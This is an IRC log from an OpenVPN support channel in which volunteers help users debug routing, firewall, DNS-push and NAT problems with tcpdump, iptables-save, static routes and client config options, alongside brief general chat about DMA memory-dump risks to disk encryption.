11:35 <@krzee> MacBookPro CPU: Intel Core i7 M 620 2.67GHz @ 2.66GHz [SSE3/SSSE3/SSE4.1/SSE4.2/x86_64/PAE/XD/VT/EST/OctaCore] L3: 4MB QPI: 4.8 GT/s RAM: 3.2GB/8.0GB swap: 0.00M/64.00M Disk: 167.48GB/173.85GB GPU: NVIDIA GeForce GT 330M & Intel HD Graphics [512 MB & 288 MB/Stock] 1920x1200 OS: Mac OS X 10.7.5 (11G63) Kernel: 11.4.2 Arch: 64 Bit
11:38 <@krzee> mine has an expresscard slot
11:44 <@plaisthos> yeah, full disc encryption is compromised by these extensions
11:44 <@plaisthos> since you get dma capabilties and read the full memory of the notebook
11:45 <@plaisthos> (if the notebook is on of course)
11:45 <@plaisthos> this btw. is the reason why xbox 360 processor has embedded ram on the cpu die to keep the keys from going into main memory
11:46 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:47 < chrisb> plaisthos: good details
11:49 <@plaisthos> never underestimate your attackers :)
11:50 <@plaisthos> last time I check (about 3 years ago) you could dump a macbooks memory with firewire
11:50 <@plaisthos> and firewire is cheap and freebsd even has a dev/firewire mem device to make this easy for you ....
12:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
12:12 <@ecrist> kisom: screen lock doesn't do anything with disk encryption
12:14 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
12:15 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
12:22 -!- miha [~miha@unaffiliated/miha] has joined #openvpn
12:23 < miha> trying to configure windows openvpn client. i use vpn as gateway, think i need to set dns too
12:23 < miha> i'm pretty sure server pushes dns, but windows client so far ignores it?
12:24 <@dazo> miha: nope ... windows clients does not ignore it ... make sure you use --push "dhcp-option $DNS_IP" in your server config
12:25 -!- st0_ [~lenov@125.163.239.88] has joined #openvpn
12:25 < miha> i have it without -- ?
12:26 < miha> push "dhcp-option DNS 193.xxx...."
12:27 < miha> works on ubuntu client
12:27 < Cpt-Oblivious> plaisthos, we're changing the server side subnet from 192.168.1.0/24 to 192.168.0.0/24 now.
12:27 <+pekster> miha: You should see that DNS server under the TAP-Win32 adapter if you do 'ipconfig /all' in a prompt
12:27 < Cpt-Oblivious> Had to wait for my friend to come online. Server is hosted at his home network since he has 100/100 mbps fiber.
12:30 < miha> pekster: you're right. dns is there. default gateway isnt
12:30 -!- ExxKA [ExxKA@nat/google/x-yeotbtxjhaaupbng] has quit [Quit: This computer has gone to sleep]
12:31 -!- st0_ [~lenov@125.163.239.88] has quit [Quit: st0_]
12:31 < miha> what is command to use vpn as gateway??
12:32 < miha> i googled forum posts
12:32 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
12:33 < miha> redirect-gateway  ?
12:34 -!- st0 [~Lenovo@125.163.239.88] has joined #openvpn
12:35 -!- dazo is now known as dazo_afk
12:37 -!- st0 [~Lenovo@125.163.239.88] has quit [Client Quit]
12:39 -!- st0 [~Lenovo@125.163.239.88] has joined #openvpn
12:42 -!- bauruine_ [~stefan@91.236.116.112] has quit [Remote host closed the connection]
12:44 -!- F^4 [~FFForever@unaffiliated/ffforever] has left #openvpn []
12:59 -!- miha [~miha@unaffiliated/miha] has left #openvpn []
13:00 -!- M4rc3l [~marc@unaffiliated/m4rc3l] has quit [Quit: bye]
13:01 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
13:09 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
13:18 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
13:21 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Quit: Ex-Chat]
13:22 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Client Quit]
13:34 -!- st0 [~Lenovo@125.163.239.88] has left #openvpn ["Leaving"]
13:43 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
13:56 < Cpt-Oblivious> Miha, it is indeed the redirect-gateway one.
14:00 < Cpt-Oblivious> Hmm.... All pc's in my subnet can ping all VPN clients.
14:00 < Cpt-Oblivious> But the VPN clients can only ping the OpenVPN server, what setting am I missing?
14:01 <+pekster> Cpt-Oblivious: What is it you want? Clients to reach other clients, or the LAN? and is the LAN behind the VPN server or a client?
14:02 <@ecrist> !goal
14:02 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:03 < Cpt-Oblivious> At the moment i I got a 192.168.0.x LAN, in which the OpenVPN server is situated. Clients connect from a 192.168.1.x LAN. They get assigned an ip address out of the 10.248.12.x pool. 192.168.0.146 / 10.248.12.1 is the OpenVPN server. Right now, all clients can connect and can ping both ip addresses of the OpenVPN server. They can how ever not ping any other 192.168.0.x ip address. All other
14:03 < Cpt-Oblivious> servers in the 192.168.0.x subnet can ping every 10.248.12.x client though.
14:04 < Cpt-Oblivious> I've got IP forwarding enabled on the OpenVPN server. So that can't be it.
14:05 <+pekster> Sounds like a firewall issue to me, unless you're performing SNAT on traffic bound for the VPN network
14:05 < Cpt-Oblivious> A firewall issue on the OpenVPN server then I guess?
14:06 < Cpt-Oblivious> All clients from 192.168.0.x just talk to their gateway, 192.168.0.1 and that gateway tells them that they can find 10.248.12.x people at 192.168.0.146 (the open vpn server). And that works beautifully.
14:06 -!- MeanderingCode [~Meanderin@71-213-184-243.albq.qwest.net] has joined #openvpn
14:06 < Cpt-Oblivious> The communication in the other way isn't working though. The vpn clients try to talk to 192.168.0.x pc's. But the OpenVPN server isn't forwarding those requests to the router.
14:06 < Cpt-Oblivious> It only answers when asked on it's own 192.168.0.146 address.
14:08 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Read error: Connection reset by peer]
14:09 <+pekster> So: are you using NAT?
14:09 < Cpt-Oblivious> Not that i'm aware of.
14:09 <+pekster> Clearly routing is working fine since the reply from the VPN clients makes it back to the server-side LAN systems
14:09 < Cpt-Oblivious> The OpenVPN server should just forward all 192.168.0.x requests to the router / gateway and then all will be fine.
14:09 <+pekster> So, you're left with a firewall
14:09 <+pekster> What OS?
14:09 < Cpt-Oblivious> Ubuntu 12.04
14:10 <+pekster> Can you pastebin the output of 'iptables-save' ?
14:10 < Cpt-Oblivious> ofc, sec
14:11 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
14:11 < Cpt-Oblivious> that outputs nothing
14:11 < Cpt-Oblivious> I can show you what iptables--list outputs though?
14:12 <+pekster> If you have any firewall rules, 'iptables-save' dumps them in the most usable format for diagnostic purposes. How does it show you "nothing" ?
14:12 < Cpt-Oblivious> I did that in the command line and it doesn't output anything
14:12 < Cpt-Oblivious> it just executes it
14:12 < Cpt-Oblivious> or do i have to go to some file where the rules get saved into?
14:13 -!- Guest31276 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
14:13 < Cpt-Oblivious> www.pastebin.com/ZzqEEEyC
14:13 <+pekster> As root? '/sbin/iptables-save' should never output nothing unless you don't have iptables support in your kernel :\
14:13 <+pekster> Ah, okay, so you literally have no filtering, got it
14:13 < Cpt-Oblivious> ah, i didn't run it as root
14:13 < Cpt-Oblivious> now i get output
14:14 < Cpt-Oblivious> www.pastebin.com/j0tHFwjG
14:14 <+pekster> Well, the output you just gave works too (iptables-save is just easier to read than any 'iptables' output, but your rules are fully empty and accept all traffic.)
14:15 <+pekster> So, I'm left wondering if the clients themselves are the ones dropping the traffic. If you can ping from a LAN client on 192.168.0/24 to a VPN client on 10.248.12/24, you know routing and firewalls are permissive of that traffic
14:15 < Cpt-Oblivious> yea
14:15 < Cpt-Oblivious> that works
14:15 <+pekster> Try a tcpdump on the VPN server's LAN iface as you ping from VPN client to server. You should see an echo-request go out to the client LAN IP, then an echo-reply come back
14:16 <+pekster> My guess is you only see the request, not the reply. The solution there is to fix the LAN client's firewall to allow the request
14:16 < Cpt-Oblivious> So I start a ping -t towards any of the 192.168.0.x clients except for the server since that one works
14:16 < Cpt-Oblivious> and then do a TCP dump?
14:16 <+pekster> Erm, ping from the client to the LAN system, I mean
14:16 < Cpt-Oblivious> yea
14:16 < Cpt-Oblivious> that's that
14:17 < Cpt-Oblivious> the clients got 192.168.1.x natively. And get a 10.248.12.x assigned. So i ping from 10.248.12.x towards any of the 192.168.0.x computers on the server side. Except for 192.168.0.146 since that is the OpenVPN server and that works.
14:18 <+pekster> That's the issue you started with, right? So you're still not getting replies? What does the tcpdump show you?
14:18 < Cpt-Oblivious> ooh
14:18 < Cpt-Oblivious> I have an idea
14:19 <+pekster> Assuming eth0 is your LAN iface on the server, 'tcpdump -pnvi eth0 icmp' will show you want you want
14:19 < Cpt-Oblivious> Shouldn't I have something in my client config which tells my client that if i want to talk to 192.168.0.x people that i have to forward everything to 10.248.12.1 / 192.168.0.146 (the open VPN server)
14:19 < Cpt-Oblivious> shouldn't there be a static route like 192.168.0.0/24 to 10.248.12.1 or something?
14:20 <+pekster> You must already have that if your LAN network client's can ping 10.248.12/24 directly
14:20 <+pekster> Yes, there should. Unless you've mis-stated your problem in your original description, you already have that
14:20 < Cpt-Oblivious> I don't have that :P
14:20 < Cpt-Oblivious> and it works :P
14:21 < Cpt-Oblivious> The only thing i did is add a router on my gateway on the server side. Which tells all 192.168.0.x computers that if they want to chat to a 10.248.12.x vpn client, that they have to go to the 192.168.0.146 ip of the server.
14:21 < Cpt-Oblivious> I physically added that on the router.
14:21 <+pekster> Okay, then you made a mistake when you said "All other servers in the 192.168.0.x subnet can ping every 10.248.12.x client though."
14:21 < Cpt-Oblivious> No they can.
14:21 < Cpt-Oblivious> Any 192.168.0.x server can ping any client in 10.248.12.x, they'll get replies.
14:21 < Cpt-Oblivious> the other way around just doesn't work.
14:21 <+pekster> Then you have that return route already
14:22 <+pekster> It's not a routing problem. It's a firewall problem
14:22 < Cpt-Oblivious> let me shut down the firewalls on both machines
14:22 < Cpt-Oblivious> sec
14:22 < Cpt-Oblivious> ooh it's off already :p
14:22 <+pekster> Look at it this way: the reply goes from the 10.248.12/24 network to the 192.168.0/24 network. Since you get the reply that follows that path, you can infer you have the required route already
14:23 < Cpt-Oblivious> Yea
14:23 < Cpt-Oblivious> they can reply
14:23 < Cpt-Oblivious> they just can't figure out where to start talking on their own.
14:23 <+pekster> This means routing is fine
14:23 <+pekster> So, that tcpdump?
14:23 <+pekster> What did you learn from it?
14:23 < Cpt-Oblivious> yes, let me do that. 1 sec.
14:24 < Cpt-Oblivious> but
14:24 < Cpt-Oblivious> i got the vpn as udp configured
14:24 < Cpt-Oblivious> should i make it an udp dump?
14:25 <+pekster> No. We don't care about the encrypted traffic
14:25 <+pekster> You care about pings
14:25 < Cpt-Oblivious> ok
14:25 <+pekster> So, dump icmp traffic on your LAN, just as I asked
14:26 < Cpt-Oblivious> doing that dump now
14:26 < Cpt-Oblivious> www.pastebin.com/A3hFEabS
14:28 <+pekster> Requests go out, and no replies come back. Your problem is your LAN system's firewall on 192.168.0.141
14:28 < Cpt-Oblivious> those icmp's / pings all time out. I'm trying to ping 192.168.0.141 from 10.248.12.6.
14:28 < Cpt-Oblivious> other way around works though
14:28 < Cpt-Oblivious> 192.168.0.141 is a windows server 2008r2 with the firewall disabled.
14:28 <+pekster> Apparently not
14:29 < Cpt-Oblivious> well.. it is :p
14:29 < Cpt-Oblivious> domain / private / public, all off.
14:29 <+pekster> Maybe the firewall on the LAN's default gw?
14:29 <+pekster> Somewhere a firewall is dropping the reply traffic
14:30 < Cpt-Oblivious> yea
14:30 < Cpt-Oblivious> Can i do a TCP dump on a windows server 2008r2 in command prompt or powershell?
14:30 < Cpt-Oblivious> so i can see if that one is dropping it?
14:30 <+pekster> You can install Wireshark
14:30 < Cpt-Oblivious> damn it :P
14:30 < Cpt-Oblivious> already feared that was the answer :P
14:30 < Cpt-Oblivious> ok on it.
14:31 <+pekster> That'll tell you if the 192.168.0.141 IP is even replying. If it is, then the only other system in the way is the LAN's gw system (which presumably has a firewall of its own)
14:31 <+pekster> Even if it has the route (which again, we know since traffic works the other way) it still needs to allow it
14:31 < Cpt-Oblivious> installing wireshark portable atm
14:32 < Cpt-Oblivious> done
14:33 < Cpt-Oblivious> let's see
14:33 < Cpt-Oblivious> nope
14:33 < Cpt-Oblivious> never reaches the win 2008r2 server
14:33 < Cpt-Oblivious> nothing of 10.248.12.6 in the entire capture
14:34 < Cpt-Oblivious> nothing of the openvpn server either
14:34 <+pekster> Dumping on it's LAN interface
14:34 <+pekster> ?
14:34 < Cpt-Oblivious> hmm
14:35 < Cpt-Oblivious> that filter isn't working as i thought it would
14:35 < Cpt-Oblivious> running capture again
14:35 <+pekster> Just do 'icmp' as your capture filter
14:35 <+pekster> (same as for tcpdump_
14:35 <+pekster> And make sure the correct interface is used
14:35 < Cpt-Oblivious> ah
14:35 < Cpt-Oblivious> I see 2 packets
14:36 < Cpt-Oblivious> 10.248.12.6 as source
14:36 < Cpt-Oblivious> destination 192.168.0.141
14:36 < Cpt-Oblivious> ping request
14:36 < Cpt-Oblivious> icmp
14:36 < Cpt-Oblivious> about 5 seconds in between, about the time between icmp time outs
14:36 <@plaisthos> no ping reply?
14:37 <+pekster> If you don't see any reply traffic, then your local system is not generating any replies
14:37 <+pekster> That 192.168.0.141 system isn't also on the VPN network, is it?
14:37 <+pekster> (that would screw things up)
14:37 < Cpt-Oblivious> nope it isn't.
14:37 <+pekster> Then it's a local firewall ;)
14:37 < Cpt-Oblivious> that 192.168.0.146 is the OpenVPN server. 192.168.0.141 is the file server.
14:38 < Cpt-Oblivious> ooh
14:38 < Cpt-Oblivious> i see ping replies as well
14:38 < Cpt-Oblivious> source: 192.168.0.141 to 10.248.12.6
14:38 <+pekster> Then repeat the same procedure on the LAN's gateway, because that reply is never making it to the VPN server
14:38 < Cpt-Oblivious> eccho (ping) reply
14:39 <@plaisthos> Cpt-Oblivious: look at the mac addresses of icmp request and icmp reply
14:39 <@plaisthos> they should be the same in reverse order
14:39 <+pekster> plaisthos: Not in this case, because the VPN server is attached to the LAN but not the LAN's default gw
14:39 <@plaisthos> pekster: oh okay
14:40 <@plaisthos> so the lan default gw has a route going back to the vpn server?
14:40 <+pekster> Yup. Pings work the other way around
14:40 < Cpt-Oblivious> the ping reply is like instantly generated
14:40 <@plaisthos> nevermind then
14:40 <+pekster> So now it looks like the LAN gw is the firewall having problems
14:40 < Cpt-Oblivious> time of ping request: 1.45023600
14:40 <+pekster> Cpt-Oblivious: Check/fix your firewall on the gateway of your LAN
14:40 < Cpt-Oblivious> time of ping reply: 1.4503500
14:41 < Cpt-Oblivious> Hmmm
14:41 <@krzee> can be verified by bypassing the gw for a lan machine
14:41 < Cpt-Oblivious> how would i do that?
14:41 <@krzee> if it works then, then its for sure the gw's fault
14:41 <@krzee> its explained in:
14:41 <@krzee> !route
14:41 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
14:41 <@krzee> under ROUTES OUTSIDE OPENVPN
14:42 <+pekster> Add a route on 192.168.0.141 that routes 10.248.12/24 via 192.168.0.146
14:42 <@krzee> "the annoying work-around would be to add the route to every box on the LAN, in which case step 3 above would work."
14:42 <@krzee> ya that ^
14:42 < Cpt-Oblivious> I got that pekster
14:42 <+pekster> (that's really a hack, but it'll identify the LAN gw as your problem without a doubt)
14:42 <@krzee> exactly
14:42 <+pekster> Unless you like manual routes on an entire subnet :P
14:42 <+pekster> More interns!
14:43 <@krzee> hahah
14:43 < Cpt-Oblivious> on my router / gateway I got a '10.248.12.0 with 255.255.255.0 to 192.168.0.146' static route.
14:43 <+pekster> Fix your *firewall*. Not routing ;)
14:43 <@krzee> right, if you add that to a host machine on the lan it will bypass the gw, and if that works we know 100% you need to fix your gw
14:43 < Cpt-Oblivious> ah
14:43 < Cpt-Oblivious> i understand what you're getting at
14:44 -!- brute11k [~brute11k@89.249.235.177] has quit [Quit: Leaving.]
14:44 < Cpt-Oblivious> netstat something was that
14:44 < Cpt-Oblivious> let me google it
14:44 <@krzee> google what!?
14:44 <@plaisthos> pekster: or crazy setup like sending unsolicated icmp redirects
14:44 < Cpt-Oblivious> how to add a static route again via netstat to a win2008r2 server
14:44 <+pekster> the 'route.exe' command will add routes
14:44 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
14:44 <+pekster> 'route /?' should give you usage syntax
14:44 < Cpt-Oblivious> ah
14:44 < Cpt-Oblivious> yea i see
14:44 <@krzee> route add 10.248.12.0 mask 255.255.255.0 192.168.0.146
14:44 <+pekster> plaisthos: I didn't know people still accepted redirects :P
14:44 <@plaisthos> krzee: you know: <Y\N> irc is just a google frontend with more insults
14:45 <@krzee> lol
14:45 < Cpt-Oblivious> done
14:45 <+pekster> And sometimes really bad advise (wait, google does that too!)
14:45 <@krzee> but we predate google!
14:45 < Cpt-Oblivious> ZOMG
14:45 < Cpt-Oblivious> it works
14:45 < Cpt-Oblivious> fuck you firewall on router
14:45 <@krzee> there, no go fix your router :D
14:45 <+pekster> Why don't you fix it then?
14:45 <@krzee> now*
14:45 <@plaisthos> pekster: i think most modern OSes still accept them
14:45 < Cpt-Oblivious> Damn Asus RT-N66U
14:46 <@plaisthos> pekster: there is no local lan security anyway :)
14:46 <@plaisthos> (icmp redirects from their default gw that is)
14:46 <+pekster> M&M security baby! (do it in an Austin Powers voice for best results)
14:46 < Cpt-Oblivious> hmmm
14:46 < Cpt-Oblivious> maybe that static route on the router
14:46 < Cpt-Oblivious> should that be added on the WAN port?
14:46 < Cpt-Oblivious> instead of the LAN port
14:46 <@krzee> pekster, most can be dns poisoned as well
14:46 < Cpt-Oblivious> could that be it?
14:47 <+pekster> Sure. TLS or die
14:47 < Cpt-Oblivious> or on the 'MAN' port w/e the hell that is
14:47 <+pekster> Cpt-Oblivious: YOu probably have a 'firewall' tab somewhere
14:47 < Cpt-Oblivious> yea i do
14:47 < Cpt-Oblivious> it's all turned off
14:47 <@krzee> is it running linux?
14:47 < Cpt-Oblivious> it's an Asus RT-N66U
14:47 < Cpt-Oblivious> just a web interface
14:47 <@krzee> ya i dunno
14:48 < Cpt-Oblivious> Firewall, no, DoS protection, no, Respond to ping requests from WAN, yes. Url filter, off, keyword filter, off. Network services filter, off.
14:48 < Cpt-Oblivious> that's about all the firewall stuff i got.
14:48 <+pekster> You should be able to download a manual online that'll tell you how to add a firewall rule
14:48 < Cpt-Oblivious> i know where to add firewall rules
14:48 < Cpt-Oblivious> but the firewall on that thing is completely off
14:48 <@krzee> probably gotta specifically allow something
14:48 < Cpt-Oblivious> what kind of rule would you suggest i add?
14:48 <+pekster> You need something to the effect of '-A FORWARD -s 192.168.0.0/24 -d 10.248.12.0/24 -i $lan_if -o $lan_if' in iptables-save syntax
14:49 <@krzee> it says off, but if it was off it would not do NAT
14:49 <+pekster> However you do that in your WebUI, that's for you to figure out
14:49 <@krzee> so its obviously on, but your optional additions are off
14:49 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
14:49 <@krzee> pekster, that would have failed on my dd-wrt, it has a rule at the end already blocking stuff, i had to use -I
14:50 <+pekster> iptables-save does not know '-I'
14:50 <@krzee> ahh
14:51 < Cpt-Oblivious> no idea why that router is being a dick
14:51 -!- Guest31276 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Quit: Don't flap your BGP at me sonny]
14:51 <+pekster> And that, is why I run my own OS on my routers
14:51 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
14:51 < Cpt-Oblivious> 'Disable GRO(Generic Recieve Offload)' should that be off?
14:51 <+pekster> "If you want it done right..."
14:52 <+pekster> Nope. You have a basic firewall problem. It's not even NAT because the packets never even make it to the VPN server which is responsible for the network
14:52 < Cpt-Oblivious> I agree pekster
14:52 <@plaisthos> Guest15284: interesting reverse lookup ...
14:52 < Cpt-Oblivious> when i'm getting my 500/500 mbps fiber connection vs the 100/100 mbps one now. I'm building my own PFsense box.
14:53 < Cpt-Oblivious> Would any of you guys want to have a quicklook on my gateway via Teamviewer?
14:53 < Cpt-Oblivious> maybe i'm missing something trivial
14:54 <@plaisthos> Cpt-Oblivious: probably not
14:54 <@plaisthos> your use case was not consider by the guy designing this thing
14:54 < Cpt-Oblivious> it's a 130 euro router :P
14:55 < Cpt-Oblivious> it just shouldn't block a damn thing :p
14:55 < Cpt-Oblivious> and route :p
14:56 <@plaisthos> that router can handle a 100 Mbit connection?
14:56 < Cpt-Oblivious> yea
14:56 < Cpt-Oblivious> can handle about 800 mbit of WAN traffic
14:56 < Cpt-Oblivious> it's a pretty beafy router
14:56 <@plaisthos> astonishing
14:56 < Cpt-Oblivious> we bought it like 2 months ago
14:56 < Cpt-Oblivious> because the old one crapped out around 150 mbps
14:59 <@plaisthos> You should have hired a profssional consultant. Then you probably now had a Cisco ASA for at least ten times the price :)
14:59 < Cpt-Oblivious> lol :P
14:59 < Cpt-Oblivious> I'm a 20 year old student
14:59 < Cpt-Oblivious> this is a home network :P
14:59 < Cpt-Oblivious> I study Computer Science :P
15:00 <@plaisthos> or a CISCO ASR ;)
15:00 < Cpt-Oblivious> nah :P
15:00 < Cpt-Oblivious> I don't mind building my own Pfsense box
15:00 < Cpt-Oblivious> so i can play around with snort and stuff like that
15:00 < Cpt-Oblivious> when i get the 500/500 mbps fiber
15:00 < Cpt-Oblivious> but i'm not gonna spend a fuck load of money on cisco stuff
15:00 <@plaisthos> where you from that you are able to afford a 500/500 fiber?
15:01 < Cpt-Oblivious> The Netherlands
15:01 < Cpt-Oblivious> 500/500 mbps fiber, un metered. Downloading is legal. Costs 65 usd / month
15:01 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 240 seconds]
15:03 <@plaisthos> Cpt-Oblivious: I can get 16/1 MBit DSL for 20 EUR but I cannot get anything faster :/
15:03 < Cpt-Oblivious> sucks :S
15:03 < Cpt-Oblivious> I got 50/3 mbps for something like that right now
15:04 < Cpt-Oblivious> my friend has 100/100 mbps fiber for 30-35 euro or so
15:04 < Cpt-Oblivious> and i might be moving into an appartment soon which has 500/500 for 50 euro or so
15:04 <+hazardous> nerds
15:04 <+hazardous> (also xs4all owns)
15:05 < Cpt-Oblivious> lol
15:05 < Cpt-Oblivious> no thnx :P
15:05 < Cpt-Oblivious> though xs4all fiber ain't bad
15:05 < Cpt-Oblivious> any fiber is good :P
15:06 -!- lsa [~la@pdpc/supporter/active/lsa] has joined #openvpn
15:08 < lsa> I have an OpenVPN server using UDP.  Multiple clients are attempts to connect from a single IP address.  There are issues getting connected/staying connected.  Should this be expected with this situation?  UDP + multiple clients from same NATed IP.
15:12 <@plaisthos> broken nat gw
15:12 <@plaisthos> probably
15:12 <@plaisthos> are you using nobind?
15:13 <@plaisthos> if not try again with nobind in client configs
15:19 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
15:24 < lsa> plaisthos: I'll try that, thank you.
15:24 < lsa> plaisthos: Just add "nobind" to a new line in the config file, right?
15:28 -!- Guest78377 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
15:28 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
15:34 -!- Guest78377 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
15:34 -!- Guest78377 [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
15:35 -!- Guest78377 [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
15:35 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
15:35 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
15:35 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
15:49 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
15:50 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Remote host closed the connection]
16:02 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
16:09 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
16:14 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
16:14 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
16:42 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 264 seconds]
16:50 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
16:55 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
16:57 <@plaisthos> lsa: yes
17:09 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
17:17 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has joined #openvpn
17:17 < Azrael_-> hi
17:22 < lsa> plaisthos: it worked.  thanks a lot.
17:22 < lsa> have a good weekend
17:22 -!- lsa [~la@pdpc/supporter/active/lsa] has quit [Quit: leaving]
18:03 -!- medum [kevin@2607:f2f8:a4c4::2] has joined #openvpn
18:04 < medum> hi all. how would i go about making openvpn fail open?
18:06 <+rob0> and that means ... ?
18:10 <@krzee> medum, try your translation app again =]
18:11 < medum> meaning openvpn connection dies, internet is cutoff completely. rather than reconnecting without using the vpn at all
18:11 <@krzee> !def1
18:11 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
18:11 <@krzee> dont use def1
18:12 <@krzee> def1 makes it so you stay connected without the vpn, without it openvpn does what you desire
18:14 < medum> i'm not using def1 now and it doesn't look like it's used by default either
18:17 <@krzee> then you have no route to the internet without your vpn
18:17 <@krzee> ify ou are using redirect-gateway
18:18 < medum> i just tried adding redirect-gateway without def1 to my config. but pkill openvpn still sends traffic without the vpn
18:20 <@krzee> show me your routing table while openvpn is running, and after you stop it
18:23 < medum> default 192.168.1.1 wlan0    is there in the before and after
18:24 < medum> guess it has to be
18:27 < medum> http://pastebin.com/NTKfhuzK
18:31 <+rob0> that sure looks like def1 to me
18:31 < medum> redirect-gateway is in my config
18:39 <@krzee> !configs
18:39 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
18:39 <@krzee> both
19:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 252 seconds]
19:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:09 -!- videl_ is now known as videl
19:17 -!- Devastator- [~devas@177.18.199.7] has joined #openvpn
19:18 -!- raidz is now known as raidz_away
19:19 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 276 seconds]
19:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
19:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
19:31 -!- mode/#openvpn [+o krzee] by ChanServ
19:44 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 265 seconds]
19:46 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
19:46 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
19:47 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 252 seconds]
19:47 -!- Denial- is now known as Denial
20:04 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Remote host closed the connection]
20:04 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
20:15 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
20:15 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
20:15 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Client Quit]
20:24 <+hazardous> yo
20:32 -!- Devastator- [~devas@177.18.199.7] has quit [Changing host]
20:32 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
20:34 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
